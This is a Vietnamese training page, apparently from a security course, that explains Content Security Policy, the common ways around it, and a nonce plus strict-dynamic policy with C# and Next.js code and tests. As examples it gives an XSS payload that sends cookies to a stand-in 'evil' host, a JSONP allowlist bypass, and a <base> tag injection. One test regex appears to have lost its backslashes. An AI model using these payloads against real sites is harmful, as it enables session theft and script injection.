SecLab
Client-sideĐầy đủ

Content Security Policy

V3
01

Là gì

Content Security Policy là một header nói cho trình duyệt biết script nào được phép chạy trên trang của bạn. Nó không vá XSS — nó chuyển "kẻ tấn công chèn được code và code chạy" thành "kẻ tấn công chèn được HTML mà không chạy được gì". Đây là phòng thủ theo chiều sâu, không phải bản vá.

02

Vì sao bạn quan tâm

Mức liên quan: Bắt buộcKỳ vọng: L2

Điểm quan trọng nhất về CSP: phần lớn CSP đang chạy trên Internet không bảo vệ gì cả, và chúng trông hoàn toàn hợp lý.

Nghiên cứu của Google (Weichselbaum et al., CCS 2016) quét hơn một tỉ trang và kết luận 94,7% CSP có thể bị vòng qua một cách tầm thường. Ba nguyên nhân, và cả ba vẫn đang phổ biến:

  • unsafe-inline. Nó là thứ người ta thêm vào để trang chạy lại được, và nó tắt gần như toàn bộ giá trị của CSP đối với XSS.
  • Allowlist theo domain. script-src 'self' https://cdn.example trông chặt, nhưng nếu CDN đó host một thư viện có JSONP endpoint, hay một AngularJS cũ, thì kẻ tấn công dùng chính domain trong allowlist của bạn để chạy code. Google gọi đây là "allowlist không dùng được ở quy mô thật".
  • 'self' cộng một ô upload file. Nếu người dùng upload được file lên cùng origin thì 'self' cho phép chính file đó — xem topic file-upload lớp 3.

Nên CSP đáng làm chỉ có một hình dạng: nonce hoặc hash, cộng 'strict-dynamic'. Nó không dựa vào việc bạn liệt kê đúng domain nào — nó dựa vào việc script phải mang một giá trị mà chỉ server của bạn biết.

Và một sự thật về chi phí: CSP dạng nonce không triển khai được như một header thêm vào. Nó buộc bạn bỏ mọi onclick= trong HTML và mọi <script> không có nonce. Đó là công việc thật, và đó là lý do phần lớn dự án dừng ở một CSP có unsafe-inline.

03

Cơ chế hoạt động

CSP là một danh sách chỉ thị, và trình duyệt kiểm từng tài nguyên trước khi nạp hoặc chạy nó. Cơ chế đáng hiểu là nonce hoạt động thế nào và vì sao nó thắng allowlist.

Nguồn sơ đồ
flowchart TD    R["Request tới /profile"] --> S["Server sinh nonce ngẫu nhiên<br/>r4nd0m-per-request"]    S --> H["Header: script-src #quot;nonce-r4nd0m#quot; #quot;strict-dynamic#quot;"]    S --> B["HTML: script nonce=#quot;r4nd0m#quot;<br/>app.js"]    H --> BR{Trình duyệt kiểm<br/>từng thẻ script}    B --> BR    BR -->|"nonce khớp"| OK["✅ Chạy"]    BR -->|"XSS chèn thẻ script<br/>KHÔNG có nonce"| NO["❌ Chặn"]    OK --> SD["strict-dynamic: script này<br/>nạp thêm script được"]

Điểm cốt lõi: kẻ tấn công chèn được HTML nhưng không biết nonce. Nonce sinh mới mỗi request, nên không có cách nào đoán hay lấy lại từ một response trước. Đây là lý do nonce thắng allowlist: allowlist hỏi "script này đến từ đâu", nonce hỏi "server của tôi có sinh ra thẻ này không".

'strict-dynamic' là chỉ thị làm CSP dùng được với bundler thật. Không có nó, mọi chunk mà webpack/Vite nạp động đều bị chặn — và lúc đó người ta tắt CSP. Nó nói: script đã được tin (có nonce) thì script nó tạo ra bằng document.createElement("script") cũng được tin. Nó cũng khiến allowlist domain bị bỏ qua, và đó là ý muốn.

Bốn chỉ thị mà gần như mọi CSP thực tế đều thiếu — mỗi cái đóng một đường vòng cụ thể:

Chỉ thịĐóng cái gìNếu thiếu
object-src 'none'<object>, <embed>Chèn được một plugin chạy code
base-uri 'none'<base href="https://evil">Mọi URL tương đối, kể cả script, đổi đích
form-action 'self'<form action="https://evil">Form đã chèn gửi dữ liệu ra ngoài
require-trusted-types-for 'script'Cả họ DOM XSS ở tầng APIinnerHTML vẫn nhận chuỗi thô

base-uri là chỉ thị bị bỏ nhiều nhất và nó vòng qua được cả CSP nonce: chèn <base> làm <script nonce="…" src="/app.js"> nạp từ domain của kẻ tấn công — nonce vẫn khớp, và code là của họ.

Mô tả sơ đồ: Sơ đồ cho thấy luồng của một CSP dạng nonce. Server sinh một nonce ngẫu nhiên riêng cho mỗi request, đặt nó vào header script-src cùng với strict-dynamic, và gắn cùng nonce đó vào thẻ script trong HTML. Trình duyệt kiểm từng thẻ script: thẻ có nonce khớp thì chạy, thẻ do XSS chèn vào và không có nonce thì bị chặn. Script đã chạy được phép nạp thêm script nhờ strict-dynamic, nên bundler chia chunk động vẫn hoạt động.

04

Ví dụ cụ thể

Bốn CSP. Ba cái đầu trông hợp lý và không cái nào bảo vệ được gì.

HTTP
# ① Có unsafe-inline. Đây là CSP phổ biến nhất, và nó vô dụng với XSS.Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
html
<!-- Payload đi qua không cần kỹ thuật gì: --><img src=x onerror="fetch('https://evil/?c='+document.cookie)">
HTTP
# ② Allowlist domain. Trông chặt, và một JSONP endpoint trên CDN phá nó.Content-Security-Policy: script-src 'self' https://cdn.jsdelivr.net
html
<!-- CDN trong allowlist host một thư viện có JSONP → chạy được code tuỳ ý --><script src="https://cdn.jsdelivr.net/npm/…/jsonp?callback=alert(document.domain)//"></script>
HTTP
# ③ Nonce — nhưng có CẢ unsafe-inline. Trình duyệt cũ dùng unsafe-inline và BỎ nonce.Content-Security-Policy: script-src 'nonce-r4nd0m' 'unsafe-inline'
HTTP
# ④ Sau khi vá. Nonce, strict-dynamic, và bốn chỉ thị hay bị bỏ.Content-Security-Policy: default-src 'none';  script-src 'nonce-r4nd0m' 'strict-dynamic' https:;  style-src 'self' 'unsafe-inline';  img-src 'self' data: https:;  connect-src 'self';  font-src 'self';  object-src 'none';  base-uri 'none';  form-action 'self';  frame-ancestors 'none';  require-trusted-types-for 'script';  report-uri /api/csp-report

Và đường vòng qua chính CSP ④ nếu thiếu base-uri — đây là lý do dòng đó có mặt:

html
<!-- Nonce vẫn khớp. Nhưng <base> đổi đích của mọi URL tương đối, nên --><!-- <script nonce="r4nd0m" src="/app.js"> nạp từ evil.example/app.js. --><base href="https://evil.example/">
C#Ba CSP, ba lý do hợp lý, và không cái nào bảo vệ được gì.
// ── ① CSP phổ biến nhất trên Internet ──────────────────────────────────────app.Use(async (ctx, next) =>{    // ❌ unsafe-inline. Nó được thêm vào vì trang vỡ khi thiếu nó, và nó tắt gần    //    như toàn bộ giá trị của CSP đối với XSS: <img src=x onerror="..."> đi qua    //    mà không cần kỹ thuật gì.    //    //    Nghiên cứu của Google (CCS 2016) quét hơn một tỉ trang: 94,7% CSP vòng qua    //    được, và đây là nguyên nhân số một.    ctx.Response.Headers["Content-Security-Policy"] =        "default-src 'self'; script-src 'self' 'unsafe-inline'";    await next();}); // ── ② Allowlist domain. Trông chặt hơn, và vẫn vòng qua được ───────────────app.Use(async (ctx, next) =>{    // ❌ Một CDN trong allowlist host một thư viện có JSONP endpoint, hay một    //    AngularJS cũ, là đủ để chạy code tuỳ ý — bằng chính domain bạn đã cho phép.    //    Đây là nguyên nhân số hai trong bài báo, và nó là lý do allowlist không    //    dùng được ở quy mô thật.    ctx.Response.Headers["Content-Security-Policy"] =        "script-src 'self' https://cdn.jsdelivr.net https://unpkg.com";    await next();}); // ── ③ Nonce — nhưng có cả unsafe-inline ────────────────────────────────────// ❌ Trình duyệt hiện tại bỏ unsafe-inline khi có nonce, nhưng trình duyệt cũ làm//    NGƯỢC LẠI: dùng unsafe-inline và bỏ nonce. Nonce thành trang trí.////    Dòng này thường xuất hiện vì ai đó thêm nonce mà không dám bỏ unsafe-inline.ctx.Response.Headers["Content-Security-Policy"] =    $"script-src 'nonce-{nonce}' 'unsafe-inline'"; // ── Và một CSP đúng nhưng đặt sai chỗ ──────────────────────────────────────// ❌ frame-ancestors, report-uri và sandbox bị BỎ QUA hoàn toàn trong <meta>.//    Policy trông đầy đủ, thiếu đúng ba chỉ thị đó, và không có gì báo lỗi.//    Thêm nữa: <meta> chỉ có hiệu lực từ chỗ nó xuất hiện trong tài liệu.// <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'; report-uri /csp">
TypeScriptNext.js: nonce trong header nhưng script trong app không có nonce → phải bật unsafe-inline.
// next.config.tsconst csp = [  "default-src 'self'",  // ❌ Nonce đặt trong header nhưng KHÔNG truyền xuống các thẻ script mà Next sinh  //    ra, nên toàn bộ app vỡ. Cách "sửa" mà mọi người chọn là thêm unsafe-inline —  //    và lúc đó nonce chỉ còn là trang trí.  //  //    Nguyên nhân thật: nonce phải sinh ở MIDDLEWARE (per-request) và truyền qua  //    header để Next đọc lại, không đặt tĩnh trong config.  "script-src 'self' 'unsafe-inline' 'unsafe-eval'",].join("; "); export default {  async headers() {    return [{ source: "/(.*)", headers: [{ key: "Content-Security-Policy", value: csp }] }];  },};
05

Chuyện đã xảy ra

British Airways, 2018 — 429.612 khách hàng, phạt £20 triệu (đã dẫn ở topic xss, nhắc lại ở đây vì góc nhìn khác). Magecart sửa một file JavaScript được host trên chính site của BA. Điều CSP làm được và BA không có: connect-src 'self' sẽ chặn script đó gửi dữ liệu tới baways.com, và report-uri sẽ báo ngay lần đầu nó thử. BA không phát hiện trong 15 ngày — và đó là con số mà report-uri sinh ra để sửa.

Nghiên cứu của Google, CCS 2016 — "CSP Is Dead, Long Live CSP!" Quét hơn một tỉ trang: 94,7% CSP có thể bị vòng qua. Nguyên nhân lớn nhất là unsafe-inline, nguyên nhân thứ hai là allowlist domain có chứa một endpoint chạy được code tuỳ ý. Đây là bài báo tạo ra 'strict-dynamic', và nó là lý do khối 6 nói CSP đáng làm chỉ có một hình dạng.

Và một dạng thất bại đáng biết: CSP đúng nhưng triển khai bằng <meta>. frame-ancestors, report-urisandbox bị bỏ qua hoàn toàn trong thẻ <meta> — nên một policy trông đầy đủ lại thiếu đúng ba chỉ thị đó, và không có gì báo lỗi.

06

Cách phòng chống

Lớp 1

Nonce mỗi request, cộng `strict-dynamic` — và KHÔNG `unsafe-inline`

bắt buộc

Nghiên cứu ở khối 5 là toàn bộ lập luận: allowlist domain thất bại ở quy mô thật, nên CSP đáng làm chỉ có một hình dạng.

Bốn quy tắc, và bỏ bất kỳ cái nào cũng làm policy vô nghĩa:

  1. Nonce sinh mới MỖI request bằng CSPRNG, ≥16 byte. Nonce dùng lại là nonce kẻ tấn công đọc được từ một response trước rồi dùng cho payload của mình.
  2. KHÔNG unsafe-inline cùng nonce. Trình duyệt hiện tại bỏ unsafe-inline khi có nonce, nhưng trình duyệt cũ làm ngược lại — và lúc đó nonce chỉ là trang trí. Nếu cần tương thích thì đó là một quyết định phải viết ra, không phải một dòng thêm cho tiện.
  3. 'strict-dynamic' để bundler chia chunk động vẫn chạy. Không có nó, CSP vỡ ở lần build tiếp theo và người ta tắt nó — đây là nguyên nhân thật của phần lớn trường hợp CSP bị bỏ.
  4. https: làm fallback cho trình duyệt không hiểu strict-dynamic. Nó lỏng, nhưng trình duyệt hiểu strict-dynamic thì bỏ qua nó — nên nó chỉ áp cho trình duyệt cũ.

Và cái giá phải nói rõ: policy này buộc bỏ mọi onclick= trong HTML và mọi <script> không có nonce. Đó là công việc thật, thường vài ngày cho một app cỡ trung — và đó là lý do phần lớn dự án dừng ở unsafe-inline. Cách đi: bật Report-Only trước, sửa hết những gì report ra, rồi mới chuyển sang cưỡng chế.

C# · Layer 1Nonce mỗi request, strict-dynamic, bốn chỉ thị hay bị bỏ, và Report-Only song song.
/// <summary>/// CSP dạng nonce. Đây là hình dạng DUY NHẤT đáng triển khai, theo kết luận của/// nghiên cứu Google ở khối 5: allowlist domain thất bại ở quy mô thật, vì bạn không/// kiểm soát được nội dung của một domain bạn cho phép.////// Nonce đổi câu hỏi: allowlist hỏi "script này đến từ đâu", nonce hỏi "SERVER CỦA/// TÔI có sinh ra thẻ này không". Kẻ tấn công chèn được HTML nhưng không biết nonce./// </summary>public sealed class CspMiddleware(RequestDelegate next){    /// <summary>Khoá để Razor/view đọc lại nonce và gắn vào thẻ script.</summary>    public const string NonceKey = "csp-nonce";     public async Task InvokeAsync(HttpContext ctx)    {        // 16 byte từ CSPRNG, base64url. Sinh MỖI request: một nonce dùng lại là một        // nonce kẻ tấn công đọc được từ response trước rồi dùng cho payload của họ.        var nonce = WebEncoders.Base64UrlEncode(RandomNumberGenerator.GetBytes(16));        ctx.Items[NonceKey] = nonce;         var policy = string.Join("; ",        [            // default-src 'none', KHÔNG 'self': mọi loại tài nguyên đóng theo mặc            // định rồi mở từng cái. Chiều này quan trọng — với 'self', một loại tài            // nguyên mới trong chuẩn CSP tương lai sẽ mặc định được phép.            "default-src 'none'",             // KHÔNG có unsafe-inline. Đặt cùng nonce thì trình duyệt cũ dùng            // unsafe-inline và bỏ nonce.            //            // strict-dynamic để bundler chia chunk động vẫn chạy — thiếu nó thì CSP            // vỡ ở lần build sau và người ta TẮT nó, đó là nguyên nhân thật của phần            // lớn trường hợp CSP bị bỏ. https: là fallback cho trình duyệt không            // hiểu strict-dynamic; trình duyệt hiểu nó thì bỏ qua https:.            $"script-src 'nonce-{nonce}' 'strict-dynamic' https:",             // CSS inline không chạy được code, nên unsafe-inline ở đây là đánh đổi            // chấp nhận được — và style-src nonce làm vỡ gần như mọi CSS-in-JS.            "style-src 'self' 'unsafe-inline'",            "img-src 'self' data: https:",            "font-src 'self'",            "connect-src 'self'",             // ── Bốn chỉ thị mà gần như mọi CSP thực tế đều thiếu ────────────────            // <object>/<embed> chạy được code, và default-src không phủ chúng ở            // một số trình duyệt.            "object-src 'none'",             // Chỉ thị bị bỏ NHIỀU NHẤT, và là chỉ thị vòng qua được cả nonce:            // <base href="https://evil/"> làm <script nonce="..." src="/app.js">            // nạp từ domain kẻ tấn công — nonce vẫn khớp, code là của họ.            // Nếu chỉ thêm được một dòng vào một CSP đang có, thêm dòng này.            "base-uri 'none'",             // Không có nó, CSP chặn script nhưng một <form action="https://evil">            // đã chèn vẫn gửi dữ liệu người dùng vừa gõ ra ngoài.            "form-action 'self'",             // Clickjacking, cùng một header — xem topic clickjacking.            "frame-ancestors 'none'",             // Đóng cả họ DOM XSS ở TẦNG API: innerHTML không nhận chuỗi thô nữa,            // nó đòi một TrustedHTML. Biện pháp duy nhất ở đây tác động vào nguyên            // nhân của DOM XSS thay vì vào từng chỗ gọi.            "require-trusted-types-for 'script'",             // GIỮ sau khi cưỡng chế. Mỗi report là một trong hai thứ: một trang bị            // vỡ (bug của ta) hoặc MỘT LẦN XSS BỊ CHẶN. Đây là thứ British Airways            // thiếu trong 15 ngày.            "report-uri /api/csp-report",        ]);         ctx.Response.Headers["Content-Security-Policy"] = policy;         // Mẫu để đổi policy về sau mà không có cửa sổ không được bảo vệ: chạy        // Report-Only với policy MỚI song song với cưỡng chế policy CŨ. Hai header        // cùng lúc là hợp lệ.        // ctx.Response.Headers["Content-Security-Policy-Report-Only"] = nextPolicy;         await next(ctx);    }} // Program.cs — đặt SỚM để phủ cả trang lỗi do middleware sau ném ra.app.UseMiddleware<CspMiddleware>();app.UseExceptionHandler("/error"); // ── Razor: gắn nonce vào thẻ script ────────────────────────────────────────// @{ var nonce = (string)Context.Items[CspMiddleware.NonceKey]!; }// <script nonce="@nonce" src="~/js/app.js"></script>//// Không còn onclick= nào trong HTML, và không còn <script> nào không có nonce.// Đây là công việc thật của việc triển khai CSP — thường vài ngày cho một app cỡ// trung, và là lý do phần lớn dự án dừng ở unsafe-inline. // ── Nhận báo cáo ───────────────────────────────────────────────────────────[HttpPost("/api/csp-report")][AllowAnonymous][EnableRateLimiting("csp-report")]public async Task<IActionResult> Report(CancellationToken ct){    using var doc = await JsonDocument.ParseAsync(Request.Body, cancellationToken: ct);    var r = doc.RootElement.GetProperty("csp-report");    var blocked = r.TryGetProperty("blocked-uri", out var b) ? b.GetString() ?? "" : "";     // Lọc nhiễu từ extension: nếu không, chúng chiếm hơn 90% report và làm cả    // dashboard vô dụng — rồi không ai xem nó nữa.    if (blocked.StartsWith("chrome-extension:") || blocked.StartsWith("moz-extension:")        || blocked.StartsWith("safari-extension:"))        return NoContent();     _log.LogWarning("Vi phạm CSP: {Directive} chặn {Blocked} trên {Document}",        r.TryGetProperty("violated-directive", out var d) ? d.GetString() : "?",        blocked,        r.TryGetProperty("document-uri", out var u) ? u.GetString() : "?");     return NoContent();}
TypeScript · Layer 1Nonce sinh ở middleware mỗi request, truyền qua header để framework đọc lại.
// middleware.ts — Next.js App Routerimport { NextResponse, type NextRequest } from "next/server"; export function middleware(req: NextRequest) {  // Sinh MỖI request. Web Crypto vì middleware chạy ở Edge runtime, không có  // node:crypto — và crypto.randomUUID() thì entropy thấp hơn 16 byte thô.  const bytes = new Uint8Array(16);  crypto.getRandomValues(bytes);  const nonce = btoa(String.fromCharCode(...bytes)).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, "");   const csp = [    "default-src 'none'",    // KHÔNG unsafe-inline. strict-dynamic là dòng làm CSP sống được với chunk động    // của Next — thiếu nó thì mọi route mới nạp bị chặn và người ta tắt CSP.    "script-src 'nonce-" + nonce + "' 'strict-dynamic' https:",    "style-src 'self' 'unsafe-inline'",    "img-src 'self' data: https:",    "font-src 'self'",    "connect-src 'self'",    // Bốn chỉ thị hay bị bỏ. base-uri là cái vòng qua được cả nonce.    "object-src 'none'",    "base-uri 'none'",    "form-action 'self'",    "frame-ancestors 'none'",    "report-uri /api/csp-report",  ].join("; ");   // Truyền nonce xuống bằng REQUEST header: Next đọc x-nonce và tự gắn nó vào mọi  // thẻ script nó sinh ra. Đây là mảnh mà bản lỗi thiếu — nonce trong response  // header mà script không có nonce thì trang vỡ, và người ta thêm unsafe-inline.  const headers = new Headers(req.headers);  headers.set("x-nonce", nonce);   const res = NextResponse.next({ request: { headers } });  res.headers.set("Content-Security-Policy", csp);  return res;} // Áp cho mọi route TRỪ tài nguyên tĩnh: _next/static không cần CSP và thêm header// vào đó chỉ làm tăng kích thước mỗi response.export const config = {  matcher: ["/((?!_next/static|_next/image|favicon.ico).*)"],}; // ── Dùng nonce trong layout ────────────────────────────────────────────────// import { headers } from "next/headers";//// export default async function RootLayout({ children }) {//   const nonce = (await headers()).get("x-nonce") ?? undefined;//   return (//     <html>//       <body>//         {children}//         {/* Mọi script tự viết phải mang nonce. Script của Next tự có nhờ x-nonce. */}//         <Script nonce={nonce} src="/js/analytics.js" strategy="afterInteractive" />//       </body>//     </html>//   );// }
Lớp 1b

Bốn chỉ thị mà gần như mọi CSP đều thiếu

bắt buộc

Bảng ở khối 3 liệt kê chúng, và mỗi cái đóng một đường vòng qua chính CSP nonce:

  • base-uri 'none' — chỉ thị bị bỏ nhiều nhất và là chỉ thị vòng qua được nonce. Chèn <base href="https://evil/"> làm <script nonce="…" src="/app.js"> nạp từ domain kẻ tấn công: nonce vẫn khớp, code là của họ. Nếu chỉ thêm được một dòng vào CSP hiện tại, thêm dòng này.
  • object-src 'none'<object>/<embed> chạy được code, và default-src không phủ chúng ở một số trình duyệt.
  • form-action 'self' — không có nó, một <form action="https://evil"> đã chèn gửi dữ liệu (kể cả dữ liệu người dùng vừa gõ) ra ngoài. CSP chặn script mà không chặn form là một CSP vẫn rò dữ liệu.
  • require-trusted-types-for 'script' — đóng cả họ DOM XSS ở tầng API thay vì ở từng chỗ gọi: innerHTML không nhận chuỗi thô nữa, nó đòi một TrustedHTML. Đây là biện pháp duy nhất trong danh sách tác động vào nguyên nhân của DOM XSS.

Cộng default-src 'none' làm nền: mọi loại tài nguyên đóng theo mặc định, rồi mở từng cái. Chiều đó quan trọng — default-src 'self' nghĩa là một loại tài nguyên mới trong chuẩn CSP tương lai sẽ mặc định được phép.

Lớp 1c

Header HTTP, không phải thẻ `<meta>`

bắt buộc

Chi tiết nhỏ và nó làm một policy trông đầy đủ thiếu đúng ba chỉ thị quan trọng, mà không có gì báo lỗi:

frame-ancestors, report-uri/report-to, và sandbox bị BỎ QUA hoàn toàn trong <meta>.

Nghĩa là một CSP đặt bằng <meta http-equiv="Content-Security-Policy"> thì:

  • không chống clickjacking (xem topic clickjacking),
  • không báo cáo gì — nên bạn mất luôn phần phát hiện, thứ mà BA cần trong 15 ngày,
  • sandbox không có tác dụng.

Thêm nữa, <meta> chỉ có hiệu lực từ vị trí nó xuất hiện trong tài liệu, nên mọi thứ ở trên nó trong HTML đều không được bảo vệ.

<meta> chỉ đúng cho một trường hợp: trang tĩnh host trên một nơi không đặt được header. Còn lại, đặt ở một middleware — cùng lý do như topic clickjacking: trang lỗi và các redirect trung gian không đi qua action nào, và một trang không có CSP là một trang không có CSP.

Lớp 2

`Report-Only` trước, rồi cưỡng chế — và giữ báo cáo mãi

bắt buộc

CSP là biện pháp duy nhất trong catalogue mà cách triển khai quan trọng bằng chính nội dung policy, vì một CSP làm vỡ trang sẽ bị tắt trong vòng một giờ.

Ba bước, và bước ba là bước không có điểm kết thúc:

  1. Content-Security-Policy-Report-Only với policy đích. Nó không chặn gì, chỉ báo cáo. Chạy một hai tuần trên production thật — staging không có đủ đa dạng trình duyệt và extension.
  2. Sửa hết những gì báo cáo ra. Đây là phần công việc thật: bỏ onclick=, gắn nonce, chuyển inline script sang file. Report sẽ có nhiễu từ browser extension — lọc theo blocked-uri bắt đầu bằng chrome-extension: hoặc moz-extension:.
  3. Chuyển sang cưỡng chế, và GIỮ report-uri. Đây là phần hay bị bỏ: sau khi cưỡng chế, mỗi report là một trong hai thứ — một trang bị vỡ (bug của ta) hoặc một lần XSS bị chặn (một tấn công đang xảy ra). Cả hai đều cần biết.

Và một mẫu dùng được cho việc thay đổi policy về sau: chạy Report-Only với policy MỚI song song với cưỡng chế policy CŨ. Hai header cùng lúc là hợp lệ, và nó cho bạn thay đổi policy mà không có cửa sổ nào không được bảo vệ.

Lớp 3

CSP không thay việc mã hoá đầu ra

Lớp này là một lời nhắc về thứ tự, và nó đáng có mặt vì CSP dễ bị dùng như một bản vá.

CSP là lớp 2 của topic xss, không phải lớp 1. Nó chuyển "chạy được code" thành "chèn được HTML mà không chạy được" — và HTML chèn được vẫn làm được nhiều thứ:

  • Sửa nội dung trang (phishing trong chính origin của bạn, nên URL đúng và TLS đúng).
  • Một <form> đã chèn gửi dữ liệu đi (nếu thiếu form-action).
  • Rò dữ liệu qua <img src="https://evil/?d=…"> nếu img-src rộng.
  • Đọc CSRF token trong DOM và dùng nó ở một cách khác.

Nên thứ tự đúng: mã hoá theo ngữ cảnh trước (topic xss lớp 1), CSP là lưới an toàn. Một dự án có CSP hoàn hảo và không escape output là một dự án có một lớp phòng thủ; ngược lại cũng vậy. Cả hai mới là hai lớp.

Và cộng SRI cho script bên thứ ba (topic xss lớp 2b): CSP nói ai được chạy, SRI nói nội dung nào — và tấn công British Airways là tấn công đổi nội dung của một file đã được phép.

07

Kiểm chứng đã vá

1. Kiểm policy không có unsafe-inline cùng nonce — sai lầm phổ biến nhất, và nó biến nonce thành trang trí:

Shell
B=https://app.exampleC=$(curl -sI "$B/" | tr -d '\r' | grep -i '^content-security-policy:') echo "$C" | grep -q 'nonce-' || { echo "CSP không dùng nonce"; exit 1; }echo "$C" | grep -q "unsafe-inline" \  && { echo "unsafe-inline CÙNG nonce — trình duyệt cũ bỏ nonce"; exit 1; }echo "$C" | grep -q "unsafe-eval" && echo "  (cảnh báo) có unsafe-eval" # Bốn chỉ thị hay bị bỏ — base-uri là cái vòng qua được cả noncefor d in "object-src" "base-uri" "form-action" "frame-ancestors"; do  echo "$C" | grep -q "$d" || echo "  THIẾU: $d"doneexit 0

2. Kiểm nonce ĐỔI giữa hai request. Nonce dùng lại là nonce kẻ tấn công đọc được từ một response trước rồi dùng cho payload của mình:

Shell
n1=$(curl -sI "$B/" | grep -io 'nonce-[A-Za-z0-9+/=_-]*' | head -1)n2=$(curl -sI "$B/" | grep -io 'nonce-[A-Za-z0-9+/=_-]*' | head -1)[ "$n1" != "$n2" ] || { echo "nonce KHÔNG đổi giữa các request"; exit 1; }[ ${#n1} -ge 22 ]  || { echo "nonce quá ngắn: $n1"; exit 1; }

3. Kiểm CSP có trên MỌI response HTML, kể cả trang lỗi — cùng danh sách như topic clickjacking. Trang 404 và trang 500 đi đường khác và thường là chỗ duy nhất còn thiếu.

4. Test đếm và test nonce trong CI. Xem tab csharp / test. Điểm quan trọng là test khẳng định nonce trong header khớp nonce trong HTML — hai chỗ đó do hai đoạn code khác nhau ghi, nên chúng lệch nhau được, và lúc đó trang trắng.

5. Kiểm thật bằng trình duyệt. Đây là phép kiểm duy nhất chứng minh policy hoạt động:

JavaScript
// Playwright: chèn một script không nonce và khẳng định nó KHÔNG chạy.test("CSP chặn script không có nonce", async ({ page }) => {  const violations = [];  page.on("console", (m) => { if (m.text().includes("Content Security Policy")) violations.push(m.text()); });   await page.goto(`${BASE}/`);  await page.evaluate(() => {    const s = document.createElement("script");    s.textContent = "window.__pwned = true";    document.body.appendChild(s);   // không có nonce  });   expect(await page.evaluate(() => window.__pwned)).toBeUndefined();  expect(violations.length).toBeGreaterThan(0);});

6. Theo dõi report-uri như một dashboard, không như một log. Sau khi cưỡng chế, mỗi report là một trang bị vỡ (bug của ta) hoặc một lần XSS bị chặn (tấn công đang xảy ra). Alert khi có blocked-uri mới xuất hiện, và lọc bỏ chrome-extension:/moz-extension: — nếu không nhiễu từ extension sẽ làm cả dashboard vô dụng.

C#Test khẳng định nonce trong header khớp nonce trong HTML — hai chỗ do hai đoạn code ghi.
public class CspTests : IClassFixture<ApiFixture>{    private readonly ApiFixture _fx;     public CspTests(ApiFixture fx) => _fx = fx;     private static string Csp(HttpResponseMessage r) =>        r.Headers.TryGetValues("Content-Security-Policy", out var v) ? string.Join("; ", v) : "";     /// <summary>    /// Sai lầm phổ biến nhất, và nó biến nonce thành trang trí: trình duyệt cũ dùng    /// unsafe-inline và bỏ nonce. Test này là thứ chặn ai đó thêm nó lại vì "trang vỡ".    /// </summary>    [Fact]    public async Task Policy_uses_a_nonce_and_no_unsafe_inline()    {        var csp = Csp(await _fx.Client.GetAsync("/"));         Assert.Contains("nonce-", csp);        Assert.Contains("'strict-dynamic'", csp);        Assert.DoesNotContain("unsafe-inline", csp.Split("style-src")[0]);   // script-src thôi        Assert.DoesNotContain("unsafe-eval", csp);    }     /// <summary>    /// Bốn chỉ thị ở khối 3. base-uri là cái quan trọng nhất: thiếu nó thì một    /// &lt;base&gt; chèn được làm script CÓ NONCE nạp từ domain kẻ tấn công — nonce    /// vẫn khớp, và cả policy trở thành vô nghĩa.    /// </summary>    [Theory]    [InlineData("object-src 'none'")]    [InlineData("base-uri 'none'")]    [InlineData("form-action 'self'")]    [InlineData("frame-ancestors 'none'")]    [InlineData("require-trusted-types-for 'script'")]    public async Task Policy_contains_the_commonly_omitted_directives(string directive)    {        Assert.Contains(directive, Csp(await _fx.Client.GetAsync("/")));    }     /// <summary>    /// Nonce phải ĐỔI mỗi request. Một nonce cố định là một nonce kẻ tấn công đọc    /// được từ response trước rồi dùng cho payload của mình — và lúc đó CSP không    /// bảo vệ gì cả trong khi vẫn trông như đang bảo vệ.    /// </summary>    [Fact]    public async Task Nonce_is_fresh_and_long_enough()    {        var nonces = new HashSet<string>();         for (var i = 0; i < 5; i++)        {            var m = Regex.Match(Csp(await _fx.Client.GetAsync("/")), @"nonce-([A-Za-z0-9+/=_-]+)");            Assert.True(m.Success);            // 16 byte base64url = 22 ký tự. Ngắn hơn là đoán được.            Assert.True(m.Groups[1].Value.Length >= 22, $"nonce quá ngắn: {m.Groups[1].Value}");            nonces.Add(m.Groups[1].Value);        }         Assert.Equal(5, nonces.Count);    }     /// <summary>    /// Nonce trong HEADER phải khớp nonce trong HTML.    ///    /// Hai chỗ đó do HAI đoạn code khác nhau ghi — middleware và view — nên chúng    /// lệch nhau được, và khi lệch thì mọi script bị chặn và trang trắng. Đây là    /// dạng lỗi mà không test nào ở trên bắt được, vì cả header lẫn HTML đều "đúng"    /// khi xét riêng.    /// </summary>    [Fact]    public async Task Header_nonce_matches_the_html_nonce()    {        var res = await _fx.Client.GetAsync("/");        var html = await res.Content.ReadAsStringAsync();         var headerNonce = Regex.Match(Csp(res), @"nonce-([A-Za-z0-9+/=_-]+)").Groups[1].Value;        var htmlNonces = Regex.Matches(html, @"<script[^>]*nonce=""([^""]+)""")            .Select(m => m.Groups[1].Value).Distinct().ToList();         Assert.NotEmpty(htmlNonces);        Assert.All(htmlNonces, n => Assert.Equal(headerNonce, n));         // Và không còn thẻ script nào KHÔNG có nonce: một cái sót lại nghĩa là        // trang đó vỡ khi cưỡng chế, và ai đó sẽ "sửa" bằng unsafe-inline.        var withoutNonce = Regex.Matches(html, @"<script(?![^>]*nonce=)[^>]*>")            .Select(m => m.Value).ToList();        Assert.Empty(withoutNonce);    }     /// <summary>    /// Không còn handler inline nào trong HTML. Đây là phần công việc thật của việc    /// triển khai CSP nonce, và test này là thứ giữ nó không quay lại.    /// </summary>    [Fact]    public async Task No_inline_event_handlers_in_rendered_html()    {        var html = await (await _fx.Client.GetAsync("/")).Content.ReadAsStringAsync();         var handlers = Regex.Matches(html, @"son(click|load|error|mouseover|submit|change)s*=")            .Select(m => m.Value.Trim()).Distinct().ToList();         Assert.Empty(handlers);    }     /// <summary>    /// CSP trên MỌI response HTML, kể cả trang 404 và 500 — chúng đi đường khác và    /// thường là chỗ duy nhất còn thiếu. Cùng danh sách như topic clickjacking.    /// </summary>    [Theory]    [InlineData("/")]    [InlineData("/login")]    [InlineData("/settings")]    [InlineData("/not-a-real-page")]    [InlineData("/error")]    public async Task Every_html_response_carries_a_policy(string path)    {        Assert.Contains("script-src", Csp(await _fx.Client.GetAsync(path)));    }}
08

Sai lầm thường gặp

"Bản vá"Vì sao không đúng
script-src 'self' 'unsafe-inline'Vô dụng với XSS: <img onerror> đi qua. Đây là CSP phổ biến nhất trên Internet
Nonce unsafe-inlineTrình duyệt cũ dùng unsafe-inline và bỏ nonce. Nonce thành trang trí
Allowlist domainGoogle quét một tỉ trang: 94,7% vòng qua được. Một JSONP endpoint trên CDN trong allowlist là đủ
